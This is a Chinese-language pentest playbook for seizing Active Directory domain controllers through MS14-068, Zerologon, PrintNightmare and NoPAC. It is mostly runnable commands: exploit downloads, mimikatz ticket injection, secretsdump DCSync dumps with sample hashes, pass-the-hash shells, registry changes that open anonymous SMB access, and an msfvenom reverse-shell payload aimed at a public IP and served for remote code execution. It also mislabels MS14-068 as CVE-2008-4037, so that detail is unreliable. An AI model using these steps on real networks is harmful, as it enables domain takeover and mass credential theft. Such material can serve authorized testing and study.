针对不同的域控环境,攻击域控制器获取域管理权限的方式
1)通过抓取域管登陆服务器的hash(不断抓HASH+PTH攻击)
2)通过运维人员不恰当的密码管理(弱口令、Wiki系统等记录域高权限账户)
3)通过域控相关的漏洞
4)通过域内的中继(域控中存在强制NTLM认证漏洞,在其中做NTLM中继获取域控制权限)
5)通过委派来获取域控权限
# 域漏洞
# MS14068(CVE-2008-4037)
漏洞概述
域里面最严重的漏洞之一,它允许任意用户提升到域管权限。该漏洞最本质在于Kerberos KDC无法正确检查Kerberos票证请求随附的特权属性证书(PAC)中的有效签名,导致用户可以自己构造一张PAC。
影响范围
Windows Server 2003/2008/2012
# 1)测试访问域控
dir \\dc1.dtsec.lab\c$
#显示拒绝访问
# 2)清空票据缓存
域用户由于存在本身缓存的tgt,在打exp前需要先klist purge
klist
klist purge
# 3)获取本机用户的SID
whoami/all
#用户名 SID
#=============== =============================================
#dtsec\liangchen S-1-5-21-3814579517-564282474-2733855526-1104
# 4)伪造证书
下载EXP:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
MS14-068.exe -u liangchen@dtsec.lab -p lcmjnht123NB -s S-1-5-21-3814579517-564282474-2733855526-1104 -d dc1.dtsec.lab
# 5)注入票据
mimikatz.exe "kerberos::ptc TGT_liangchen@dtsec.lab.ccache" exit
# 6)连接域控
#权限测试
net use \\dc1.dtsec.lab\admin$
dir \\dc1.dtsec.lab\c$
#获取Shell
#https://github.com/crupper/Forensics-Tool-Wiki/tree/master/windowsTools
psexec.exe \\dc1.dtsec.lab cmd.exe
# Zerologon(CVE-2020-1472)
漏洞概述
Netlogon是Windows Server进程,用于对域中的用户和其他服务进行身份验证。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。
影响范围
Windows Server 2019
Windows Server 2016
Windows Server 2012 R2
Windows Server 2012
Windows Server 2008 R2
Windows Server 2008
Windows Server 2003 R2
Windows Server 2003
# 1)用密码导出域控HASH对比
仅用作对比,实际渗透无需这一步
proxychains secretsdump.py dtsec.lab/Administrator:'2012version@2021pass'@10.68.35.111 -just-dc
#Administrator:500:aad3b435b51404eeaad3b435b51404ee:485690e8d2950fae63188a2043a283d6:::
#Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
#krbtgt:502:aad3b435b51404eeaad3b435b51404ee:35979bcdcf5a21465bbde6eaa90568be:::
#DC1$:1001:aad3b435b51404eeaad3b435b51404ee:33060ebc1169ad2b0c19cc5cdba4a5b8:::
# 2)使用EXP将机器账户重置
EXP下载:https://github.com/dirkjanm/CVE-2020-1472
python cve-2020-1472-exploit.py dc1$ 10.68.35.111
可再导一次hash,看看密码是否为空
#DC1$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 空密码
# 3)DCSync导出域用户凭据
域控的机器账户可以使用DCSync导出域内所有用户凭据
利用DRS(Directory Replication Service,目录复制服务)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据。
#导出所有用户的凭据
proxychains secretsdump.py dtsec.lab/dc1\$@10.68.35.111 -no-pass
#只看域控本地管理员凭证
proxychains secretsdump.py dtsec.lab/dc1\$@10.68.35.111 -no-pass -just-dc | grep 'Administrator'
#Administrator:500:aad3b435b51404eeaad3b435b51404ee:485690e8d2950fae63188a2043a283d6:::
# 4)HASH传递打域控
然后使用wmic利用HASH传递 拿到域控制器中的本地管理员权限(域管),可添加账户
proxychains wmiexec.py -codec gbk -hashes aad3b435b51404eeaad3b435b51404ee:485690e8d2950fae63188a2043a283d6 dtsec.lab/Administrator@10.68.35.111
#[!] Launching semi-interactive shell - Careful what you execute
#[!] Press help for extra shell commands
#C:\>whoami
#dtsec\administrator
# 5)恢复DC$机器账户的密码
拷贝SAM数据回来
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
#把导出的数据下载回来
del /f system.save
del /f sam.save
del /f security.save
提取出机器账号的明文hex
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
#$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:33060ebc1169ad2b0c19cc5cdba4a5b8
恢复域控机器账户的密码
下载reinstall_original_pw.py:https://github.com/risksense/zerologon
proxychains python reinstall_original_pw.py DC1\$ 10.68.35.111 33060ebc1169ad2b0c19cc5cdba4a5b8
#Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.
再用空密码导出hash试试,不能成功就是恢复了
proxychains secretsdump.py dtsec.lab/dc1\$@10.68.35.111 -no-pass
# Print Spooler(CVE-2021-1675)
漏洞概述
这个漏洞级别属于稍次于Zerologon的打域利器之一;
Print Spooler是Windows系统中管理打印相关事务的服务,用于管理所有本地和网络打印队列并控制所有打印工作。Windows系统默认开启 Print Spooler 服务,普通用户可以利用此漏洞提升至SYSTEM管理权限。
影响范围
Windows Server 2019
Windows Server 2016
Windows Server 2012
利用条件
- 一个普通域账号/或者机器账号权限 (可账号密码或者hash)
- pDriverPath 知道一个驱动的绝对路径,和系统版本有关
CVE编号:CVE-2021-1675、CVE-2021-34527
补丁号:KB5003671、KB5003681
有安全研究员在github上公开了"CVE-2021-1675"的exp PrintNightmare,后经验证公开的exp是一个与CVE-2021-1675不同的漏洞,微软为其分配了新的编号CVE-2021-34527。
用到了impacket工具包
扫描域控是否开启了 Print Spooler 服务
rpcdump.py @10.68.35.112 | egrep 'MS-RPRN|MS-PAR'
# 本地提权
下载EXP:https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1
在本地管理员组添加一个用户
#打开PowerShell
Import-Module .CVE-2021-1675.ps1
Invoke-Nightmare -DriverName "prtest" -NewUser "admin886" -NewPassword "@admin.886"
# 远程提权
1)SMB 设置-攻击载荷托管
托管有效负载的最简单方法是使用samba并修改/etc/samba/smb.conf以允许匿名访问
mv /etc/samba/smb.conf /etc/samba/smb.conf.bak
cat >> /etc/samba/smb.conf << EOF
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = nobody
EOF
systemctl restart smb.service
Windows
管理员权限powershell执行以下命令
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
2)生成攻击载荷
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=212.129.244.167 LPORT=9001 -f exe -o addCube.dll
3)RCE攻击
EXP下载:https://github.com/cube0x0/CVE-2021-1675
python CVE-2021-1675.py dtsec.lab/liangchen:lcmjnht666NB@10.68.35.112 '\\212.129.244.167\smb\addCube.dll'
python CVE-2021-1675.py dtsec.lab/liangchen:lcmjnht666NB@10.68.35.112 'C:\addCube.dll'
#后边是攻击载荷路径
# NoPAC(CVE-2021-42287)
漏洞概述
CVE-2021-42287 & CVE-2021-42278两个漏洞组合可导致域内普通用户提升至域管权限。
需要对属性 sAMAccountName 和 servicePrincipalName 具有写权限;
由于默认情况下 MAQ 特性,域内普通用户可以创建 10 个机器账户,而创建者对于机器账户具有写权限,当然可以更改这两个属性。
影响范围
windows Server 2008 - 2022所有版本
漏洞原理如下
# CVE-2021-42278
windows 域内的机器账户的名字以 $ 结尾,但 DC 没有对域内机器账户名做验证。与 CVE-2021-42287 结合使用,它允许攻击者冒充域控制器账户。
# CVE-2021-42287
在 kerberos 认证过程中,用户要访问某个服务,在获取服务票据 ST 之前,需要申请 TGT票据。
该漏洞的核心为:当请求的服务票 ST 没有被 KDC 找到时,KDC 会自动在尾部添加 $ 重新搜索。
如果 A 用户获得申请了 TGT,然后删除 A 用户或重命名 A 用户;
并使用该 TGT 进行 S4U2self 以其它用户身份请求一张 ST 给自己,导致 KDC 在 Account Database 中寻找 A$;
如果帐户 A$ 存在,那么 A 就会像其他用户一样为 A$获得一张服务票据。
因此,机器账户改名为和 DC 机器账户一样,然后申请 TGT,接着把用户名修改掉,使得 DC 在 TGS_REP 时候找不到该账户,这时会用自己的密钥加密服务票据 ST,然后就得到了一个高权限 ST
# sAMAccountName
SAM-Account-Name 用于支持运行早期版本操作系统的客户端和服务器的登录名,例如 Windows NT 4.0、Windows 95、Windows 98 和 LAN Manager。实际上是以「Domain\LogonName 」形式命名。
其 Ldap-Display-Name 为:sAMAccountName,故该组合漏洞又被称为:sAMAccountName spoofing
此处还有一种用户命名属性,是目前域环境中常用的一种:UPN,userPrincipalName 属性是用户的登录名。
属性由 UPN (用户主体) ,这是用户最常见的登录 Windows 名称。 用户通常使用其 UPN 登录到域。
UPN 由 UPN 前缀(用户帐户名)和 UPN 后缀(DNS 域名)组成。 前缀与后缀以 @ 符号相联接。UPN 必须在目录林中的所有安全主体对象之间保持唯一。
#sAMAccountName
DTSEC\libai
#UPN
libai@dtsec.lab
# S4U2self
在TGSREQ & TGSREP阶段,用户通过AS_REP拿到的TGT票据,去向KDC申请特定服务的访问权限;
KDC校验TGT票据,如果校验通过的话,会向用户发送一个TGS票据,之后用户再拿着TGS去访问特定的服务;
这一阶段,微软引进了两个扩展S4U2SELF和S4U2PROXY。
S4U2self 使得服务可以代表用户获得针对服务自身的kerberos服务票据。
这使得服务可以获得用户的授权( 可转发的用户TGS票据),然后将其用于后期的认证(s4u2proxy);
服务代表用户获得针对服务自身的kerberos票据这个过程,服务是不需要用户的凭据的。
# 利用步骤
1)首先使用 impacket 的 addcomputer.py或是 powermad创建一个机器账户
addcomputer.py是利用 SAMR协议 创建机器账户,这个方法所创建的机器账户没有 SPN,所以可以不用清除。
2)然后清除机器账户的 servicePrincipalName 属性
3)将机器账户的 sAMAccountName,更改为 DC 的机器账户名字,注意后缀不带 $
4)为机器账户请求 TGT
5)将机器账户的 sAMAccountName 更改为其他名字,不与步骤 3 重复即可
6)通过 S4U2self 协议向 DC 请求 ST
7)DCsync 域控同步
#1 创建一个机器账号
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC1 -domain-netbios domain 'domain.local/user1:complexpassword'
#2 清除SPN记录
addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
#3 机器账户重命名 (computer -> DC)
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
#4 为机器账户请求一个TGT
getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
#5 机器账户重命名(不与第三步重复即可)
renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
#6 通过 S4U2self 协议向 DC 请求 ST
KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
#7 DCSync
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'
# 武器化利用
工具地址:https://github.com/cube0x0/noPac
这个漏洞需要新建一个机器账户, -mAccount为新建机器账户名,-mPassword为密码
#扫描验证
noPac.exe scan -domain dtsec.lab -user liangchen -pass lcmjnht666NB
#利用
noPac.exe -domain dtsec.lab -user liangchen -pass lcmjnht666NB /dc dc1.dtsec.lab /mAccount demol /mPassword pAss123! /service cifs /ptt
#查看域控文件
dir \\DC1.dtsec.lab\c$
#查看内存凭据
klist
